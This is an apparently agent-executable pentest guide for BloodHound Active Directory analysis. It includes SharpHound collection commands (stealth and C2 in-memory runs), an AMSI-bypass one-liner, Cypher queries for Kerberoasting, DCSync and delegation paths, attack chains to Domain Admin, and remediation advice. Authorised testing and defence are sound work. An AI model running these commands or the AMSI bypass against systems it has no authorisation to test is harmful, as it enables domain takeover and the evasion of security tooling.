Performing Active Directory BloodHound Analysis

Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.

Prerequisites

• Initial foothold on a domain-joined Windows system (or valid domain credentials)
• BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
• SharpHound collector (C# binary or PowerShell module)
• Neo4j database (Legacy) or PostgreSQL (CE)
• Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

MITRE ATT&CK Mapping

Technique ID	Name	Tactic
T1087.002	Account Discovery: Domain Account	Discovery
T1069.002	Permission Groups Discovery: Domain Groups	Discovery
T1018	Remote System Discovery	Discovery
T1482	Domain Trust Discovery	Discovery
T1615	Group Policy Discovery	Discovery
T1069.001	Permission Groups Discovery: Local Groups	Discovery

Step 1: Data Collection with SharpHound

SharpHound.exe (Preferred for OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Step 2: Import Data into BloodHound

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

Step 3: Attack Path Analysis

Pre-Built Queries (Most Critical)

-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name

Custom Cypher Queries

-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

Step 4: Common Attack Paths

Path 1: Kerberoasting to DA

User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin

Path 2: ACL Abuse Chain

User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin

Path 3: Unconstrained Delegation

User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync

Path 4: GPO Abuse

User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

Step 5: Remediation Recommendations

Finding	Risk	Remediation
Kerberoastable DA	Critical	Use gMSA, rotate passwords, AES-only
Unconstrained Delegation	Critical	Migrate to constrained/RBCD delegation
Domain Users local admin	High	Remove DA from local admin, use LAPS
Excessive ACL permissions	High	Audit and reduce GenericAll/WriteDACL
Stale admin sessions	Medium	Implement session cleanup, restrict RDP
Cross-domain trust abuse	High	Review trust direction and SID filtering

Verification Criteria

Confirm successful execution by validating:

• [ ] All prerequisite tools and access requirements are satisfied
• [ ] Each workflow step completed without errors
• [ ] Output matches expected format and contains expected data
• [ ] No security warnings or misconfigurations detected
• [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

• SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
• ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
• NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
• NIST CSF: ID.RA (Risk Assessment), PR.IP (Information Protection)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add performing-active-directory-bloodhound-analysis

# Or load dynamically via MCP
grc.load_skill("performing-active-directory-bloodhound-analysis")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

• SHA-256 chain hashing ensures no step can be modified after execution
• Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
• Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

References

• BloodHound GitHub: https://github.com/BloodHoundAD/BloodHound
• BloodHound CE: https://github.com/SpecterOps/BloodHound
• SharpHound: https://github.com/BloodHoundAD/SharpHound
• MITRE ATT&CK S0521: https://attack.mitre.org/software/S0521/
• SpecterOps BloodHound Documentation: https://bloodhound.readthedocs.io/